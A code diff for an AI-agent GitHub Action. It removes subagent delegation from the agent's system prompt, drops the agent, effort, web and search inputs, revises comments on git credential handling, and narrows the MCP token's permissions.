- \`file_read\` / \`file_write\` — read and write files
- \`file_edit\` — targeted text replacement (prefer over read-then-write for existing files)
- \`file_delete\` — remove files
- \`list_directory\` — list directory contents
All file tools enforce repository-scoped access and prevent modifications to .git/.`;
Use your native file read/write/edit tools for all file operations.`;
}
function getStandaloneModeInstructions(
@@ -135,7 +127,7 @@ function getStandaloneModeInstructions(
You are running as a step in a user-defined CI workflow. ${outputRequirement}`;
}
// shared system prompt body used by both orchestrator and subagent instructions.
// shared system prompt body.
// the priority order and YOUR TASK section differ — callers compose those separately.
interface SystemPromptContext {
shell: ResolvedPayload["shell"];
@@ -195,7 +187,7 @@ Rules:
### GitHub
Use MCP tools from ${ghPullfrogMcpName} for all GitHub operations. Never use the \`gh\` CLI — it is not authenticated and will fail. The MCP tools handle authentication, enforce permissions, and integrate with the delegation system.
Use MCP tools from ${ghPullfrogMcpName} for all GitHub operations. Never use the \`gh\` CLI — it is not authenticated and will fail. The MCP tools handle authentication and enforce permissions.
${getShellInstructions(ctx.shell)}
@@ -352,51 +344,26 @@ ${ctx.contextSections}`;
export function resolveInstructions(ctx: InstructionsContext): ResolvedInstructions {
const inputs = buildCommonInputs(ctx);
const orchestratorTaskSection = `**Required!** You are an orchestrator. You do not perform tasks directly — you delegate to specialized subagents and handle all state-mutating and user-facing GitHub operations yourself.
const orchestratorTaskSection = `You execute tasks directly using your native tools and the ${ghPullfrogMcpName} MCP server.
### Step 1: Select a mode
Call \`${ghPullfrogMcpName}/select_mode\` with the appropriate mode name. This returns **your workflow** — a step-by-step playbook you must follow, including:
- **Pre-delegation actions** you must perform (checkout, branch creation, setup)
- **Delegation instructions** (how to craft subagent prompts, what to include)
- **Post-delegation actions** you must perform (push, PR creation, review submission, progress reporting)
Call \`${ghPullfrogMcpName}/select_mode\` with the appropriate mode name. This returns **your workflow** — a step-by-step playbook you must follow.
**Follow the returned guidance as your primary instruction set.** Do not improvise — the guidance defines what you do vs. what subagents do.
**Follow the returned guidance as your primary instruction set.** Do not improvise — the guidance defines the exact steps.
Available modes:
${ctx.modes.map((m) => `- "${m.name}": ${m.description}`).join("\n")}
### Step 2: Delegate
### Step 2: Execute
Call \`${ghPullfrogMcpName}/delegate\` to fan out research, local coding tasks, and codebase investigations to subagents. Pass a \`tasks\` array. Each task has:
- \`label\`: Short identifier (e.g. "frontend-review", "schema-check"). Returned in results for matching.
- \`instructions\`: The subagent receives ONLY this text (plus a system preamble with tool documentation and resolved context). Include everything it needs: file paths, constraints, conventions, and any context from the codebase or previous phases.
- \`effort\` (optional): \`"mini"\`, \`"auto"\` (default), or \`"max"\`.
Follow the mode guidance to complete the task. Use your native file and shell tools for local operations, and the ${ghPullfrogMcpName} MCP tools for GitHub/git operations.
All tasks in a single \`delegate\` call run as **parallel subagents**. For sequential phases (plan → build → review), use separate \`delegate\` calls.
To investigate questions, prefer \`${ghPullfrogMcpName}/ask_question\` over \`${ghPullfrogMcpName}/delegate\`.
### Step 3: Post-delegation
After each \`delegate\` call, you receive a \`results\` array — one entry per task with \`label\`, \`success\`, \`summary\` (from set_output), and \`stdoutFile\` (inspectable via \`${ghPullfrogMcpName}/file_read\`). Follow the post-delegation steps from the select_mode guidance.
### Subagent capabilities
Subagents have: file operations, shell (for local git, tests, builds), read-only GitHub queries, and upload_file. They do NOT have: \`git\`, \`checkout_pr\`, \`push_branch\`, \`create_pull_request\`, \`create_pull_request_review\`, \`report_progress\`, \`create_issue_comment\`, \`reply_to_review_comment\`, \`resolve_review_thread\`, \`delegate\`, \`ask_question\`, or any dependency/remote-mutating tools. All GitHub-write and state-mutating operations are your responsibility.
### Prompt-crafting rules
- Subagents have NO context beyond what you write. No repo instructions, no event data, no user prompt.
- Specify exactly what information the subagent should return. The subagent's \`set_output\` call is your only way to get results back — be precise about what you need.
- Instruct subagents to use shell for local git (\`git add\`, \`git commit\`, \`git diff\`, \`git status\`).
- Never instruct a subagent to push, create PRs, submit reviews, or post comments.
- For multi-phase flows, pass results from earlier phases into the next delegate call's prompts.
- You do NOT need to instruct subagents to call \`set_output\` — the system preamble handles this.
When done, call \`${ghPullfrogMcpName}/set_output\` with the final result. This makes it available as the GitHub Action output.
### No-action cases
If the task clearly requires no work, skip delegation. Call \`${ghPullfrogMcpName}/report_progress\` directly to explain why no action is needed.`;
If the task clearly requires no work, call \`${ghPullfrogMcpName}/report_progress\` directly to explain why no action is needed.`;
const system = buildSystemPrompt({
shell: ctx.payload.shell,
+1 -1
View File
@@ -8,7 +8,7 @@ import { table } from "table";
import type { AgentUsage } from "../agents/shared.ts";
import { isGitHubActions, isInsideDocker } from "./globals.ts";
// --- subagent log prefix via AsyncLocalStorage ---
// --- log prefix via AsyncLocalStorage ---
type LogContext = { prefix: string };
+5 -40
View File
@@ -8,12 +8,6 @@ describe("Inputs schema", () => {
});
it.each([
["web", "enabled"],
["web", "disabled"],
["web", undefined],
["search", "enabled"],
["search", "disabled"],
["search", undefined],
["push", "enabled"],
["push", "disabled"],
["push", undefined],
@@ -21,31 +15,19 @@ describe("Inputs schema", () => {
["shell", "restricted"],
["shell", "disabled"],
["shell", undefined],
["effort", "mini"],
["effort", "auto"],
["effort", "max"],
["timeout", "10m"],
["timeout", "1h30m"],
["timeout", "30s"],
["timeout", undefined],
["agent", "claude"],
["agent", "codex"],
["agent", "cursor"],
["agent", "gemini"],
["agent", "opencode"],
// ['agent', null],
] as const)("should accept %s for %s", (prop, value) => {
const input = { prompt: "test", [prop]: value };
expect(() => Inputs.assert(input)).not.toThrow();
});
it.each([["web"], ["search"], ["push"], ["shell"], ["effort"], ["agent"]] as const)(
"should reject invalid %s values",
(prop) => {
const input = { prompt: "test", [prop]: "invalid" as any };
expect(() => Inputs.assert(input)).toThrow();
}
);
it.each([["push"], ["shell"]] as const)("should reject invalid %s values", (prop) => {
const input = { prompt: "test", [prop]: "invalid" as any };
expect(() => Inputs.assert(input)).toThrow();
});
});
describe("JsonPayload schema", () => {
@@ -62,30 +44,13 @@ describe("JsonPayload schema", () => {
});
it.each([
["agent", "claude"],
["agent", "codex"],
["agent", "cursor"],
["agent", "gemini"],
["agent", "opencode"],
["effort", "mini"],
["effort", "auto"],
["effort", "max"],
["timeout", "10m"],
["timeout", "1h30m"],
["timeout", "30s"],
["model", "anthropic/claude-opus"],
["event", { trigger: "unknown" }],
] as const)("should accept optional %s with value %s", (prop, value) => {
const input = { "~pullfrog": true, version: "1.2.3", prompt: "test prompt", [prop]: value };
expect(() => JsonPayload.assert(input)).not.toThrow();
});
it.each([["agent"], ["effort"]] as const)("should reject invalid %s values", (prop) => {
const input = {
"~pullfrog": true,
version: "1.2.3",
prompt: "test prompt",
[prop]: "invalid" as any,
};
expect(() => JsonPayload.assert(input)).toThrow();
});
});
+6 -30
View File
@@ -1,13 +1,12 @@
import { isAbsolute, resolve } from "node:path";
import * as core from "@actions/core";
import { type } from "arktype";
import { AgentName, type AuthorPermission, Effort, type PayloadEvent } from "../external.ts";
import type { AuthorPermission, PayloadEvent } from "../external.ts";
import packageJson from "../package.json" with { type: "json" };
import type { RepoSettings } from "./runContext.ts";
import { validateCompatibility } from "./versioning.ts";
// tool permission enum types for inputs
const ToolPermissionInput = type.enumerated("disabled", "enabled");
const ShellPermissionInput = type.enumerated("disabled", "restricted", "enabled");
const PushPermissionInput = type.enumerated("disabled", "restricted", "enabled");
@@ -17,16 +16,14 @@ const PushPermissionInput = type.enumerated("disabled", "restricted", "enabled")
export const JsonPayload = type({
"~pullfrog": "true",
version: "string",
"agent?": AgentName.or("undefined"),
"model?": "string | undefined",
prompt: "string",
"triggerer?": "string | undefined",
"eventInstructions?": "string",
"event?": "object",
"effort?": Effort.or("undefined"),
"timeout?": "string | undefined",
"progressCommentId?": "string | undefined",
"debug?": "boolean | undefined",
});
// permission levels that indicate collaborator status (have push access)
@@ -45,11 +42,8 @@ function isCollaborator(event: PayloadEvent): boolean {
// if included, must match the type - so we need to explicitly allow undefined.
export const Inputs = type({
prompt: "string",
"effort?": Effort.or("undefined"),
"model?": type.string.or("undefined"),
"timeout?": type.string.or("undefined"),
"agent?": AgentName.or("undefined"),
"web?": ToolPermissionInput.or("undefined"),
"search?": ToolPermissionInput.or("undefined"),
"push?": PushPermissionInput.or("undefined"),
"shell?": ShellPermissionInput.or("undefined"),
"cwd?": type.string.or("undefined"),
@@ -58,10 +52,6 @@ export const Inputs = type({
export type Inputs = typeof Inputs.infer;
function isAgentName(value: unknown): value is AgentName {
return typeof value === "string" && AgentName(value) instanceof type.errors === false;
}
function isPayloadEvent(value: unknown): value is PayloadEvent {
return typeof value === "object" && value !== null && "trigger" in value;
}
@@ -99,12 +89,9 @@ export function resolvePromptInput(): ResolvedPromptInput {
function resolveNonPromptInputs() {
return Inputs.omit("prompt").assert({
effort: core.getInput("effort") || undefined,
model: core.getInput("model") || undefined,
timeout: core.getInput("timeout") || undefined,
agent: core.getInput("agent") || undefined,
cwd: core.getInput("cwd") || undefined,
web: core.getInput("web") || undefined,
search: core.getInput("search") || undefined,
push: core.getInput("push") || undefined,
shell: core.getInput("shell") || undefined,
});
@@ -126,18 +113,11 @@ export function resolvePayload(
const inputs = resolveNonPromptInputs();
// validate agent name
const agent: AgentName | undefined =
inputs.agent !== undefined && isAgentName(inputs.agent) ? inputs.agent : undefined;
// resolve event - use type guard for jsonPayload.event, fallback to unknown trigger
const rawEvent = jsonPayload?.event;
const event: PayloadEvent = isPayloadEvent(rawEvent) ? rawEvent : { trigger: "unknown" };
// resolve agent from jsonPayload with type guard
const jsonAgent = jsonPayload?.agent;
const resolvedAgent: AgentName | undefined =
agent ?? (jsonAgent !== undefined && isAgentName(jsonAgent) ? jsonAgent : undefined);
const model = jsonPayload?.model ?? inputs.model ?? repoSettings.model ?? undefined;
// determine shell permission - strictest setting wins
// precedence: disabled > restricted > enabled
@@ -166,7 +146,7 @@ export function resolvePayload(
return {
"~pullfrog": true as const,
version: jsonPayload?.version ?? packageJson.version,
agent: resolvedAgent,
model,
prompt,
triggerer:
jsonPayload?.triggerer ??
@@ -174,15 +154,11 @@ export function resolvePayload(
(!isPullfrog(process.env.GITHUB_ACTOR) ? process.env.GITHUB_ACTOR : undefined),
eventInstructions: jsonPayload?.eventInstructions,
event,
effort: inputs.effort ?? jsonPayload?.effort ?? "auto",
timeout: inputs.timeout ?? jsonPayload?.timeout,
cwd: resolveCwd(inputs.cwd),
progressCommentId: jsonPayload?.progressCommentId,
debug: jsonPayload?.debug,
// permissions: inputs > repoSettings > fallbacks
web: inputs.web ?? repoSettings.web ?? "enabled",
search: inputs.search ?? repoSettings.search ?? "enabled",
push: inputs.push ?? repoSettings.push ?? "restricted",
shell: resolvedShell,
};
+1 -2
View File
@@ -82,11 +82,10 @@ async function dispatchFollowUpReReview(ctx: ToolContext, reviewedSha: string):
const payload: WriteablePayload = {
"~pullfrog": true,
version: ctx.payload.version,
agent: ctx.payload.agent,
model: ctx.payload.model,
prompt: "",
eventInstructions: RE_REVIEW_PREAMBLE,
event,
effort: "max",
};
await ctx.octokit.rest.actions.createWorkflowDispatch({
+3 -8
View File
@@ -1,4 +1,4 @@
import type { AgentName, PushPermission, ShellPermission, ToolPermission } from "../external.ts";
import type { PushPermission, ShellPermission } from "../external.ts";
import { apiFetch } from "./apiFetch.ts";
import type { RepoContext } from "./github.ts";
@@ -10,12 +10,10 @@ export interface Mode {
}
export interface RepoSettings {
defaultAgent: AgentName | null;
model: string | null;
modes: Mode[];
setupScript: string | null;
postCheckoutScript: string | null;
web: ToolPermission;
search: ToolPermission;
push: PushPermission;
shell: ShellPermission;
prApproveEnabled: boolean;
@@ -28,12 +26,10 @@ export interface RunContext {
}
const defaultSettings: RepoSettings = {
defaultAgent: null,
model: null,
modes: [],
setupScript: null,
postCheckoutScript: null,
web: "enabled",
search: "enabled",
push: "restricted",
shell: "restricted",
prApproveEnabled: false,
@@ -87,7 +83,6 @@ export async function fetchRunContext(params: {
settings: {
...defaultSettings,
...data.settings,
// ensure arrays are never undefined (API may omit new fields for existing repos)
modes: data.settings?.modes ?? [],
setupScript: data.settings?.setupScript ?? null,
postCheckoutScript: data.settings?.postCheckoutScript ?? null,
+3 -3
View File
@@ -135,8 +135,8 @@ export async function setupGit(params: SetupGitParams): Promise<void> {
// remove includeIf entries that actions/checkout@v6 uses for credential persistence.
// v6 stores credentials in an external file loaded via includeIf.gitdir, which our
// --unset-all above doesn't catch. without this, $git() would produce duplicate
// Authorization headers (one from includeIf, one from GIT_CONFIG_PARAMETERS).
// --unset-all above doesn't catch. without this, stale credentials from actions/checkout
// would be sent alongside ASKPASS-provided credentials.
try {
const configOutput = execSync("git config --local --get-regexp ^includeif\\.", {
cwd: repoDir,
@@ -156,7 +156,7 @@ export async function setupGit(params: SetupGitParams): Promise<void> {
log.debug("» no includeIf credential entries to remove");
}
// SECURITY: set origin URL without token - auth is injected via GIT_CONFIG_PARAMETERS
// SECURITY: set origin URL without token - auth is injected via GIT_ASKPASS
// in $git() calls. this prevents token leakage to git hooks and subprocesses.
const originUrl = `https://github.com/${params.owner}/${params.name}.git`;
$("git", ["remote", "set-url", "origin", originUrl], { cwd: repoDir });
-1
View File
@@ -192,7 +192,6 @@ export async function spawn(options: SpawnOptions): Promise<SpawnResult> {
if (isActivityTimedOut) {
const idleSec = Math.round((performance.now() - lastActivityTime) / 1000);
// matched by delegateTimeout test validator — update tests if changed
reject(new Error(`activity timeout: no output for ${idleSec}s`));
return;
}
+16 -3
View File
@@ -100,12 +100,25 @@ export async function resolveTokens(params: ResolveTokensParams): Promise<TokenR
.join(", ")})`
);
// create full MCP token - not exfiltratable (only accessible via MCP tools)
const mcpToken = await acquireNewToken();
// MCP token scoped to only what MCP tools actually need.
// not exfiltratable (only accessible via MCP tools), but scoped as defense-in-depth
// so even a compromised tool context can't touch secrets, admin, etc.
const mcpPermissions = {
contents: "write",
pull_requests: "write",
issues: "write",
checks: "read",
actions: "read",
} as const;
const mcpToken = await acquireNewToken({ permissions: mcpPermissions });
if (isGitHubActions) {
core.setSecret(mcpToken);
}
log.info("» acquired full MCP token");
log.info(
`» acquired scoped MCP token (${Object.entries(mcpPermissions)
.map((e) => e.join(":"))
.join(", ")})`
);
mcpTokenValue = mcpToken;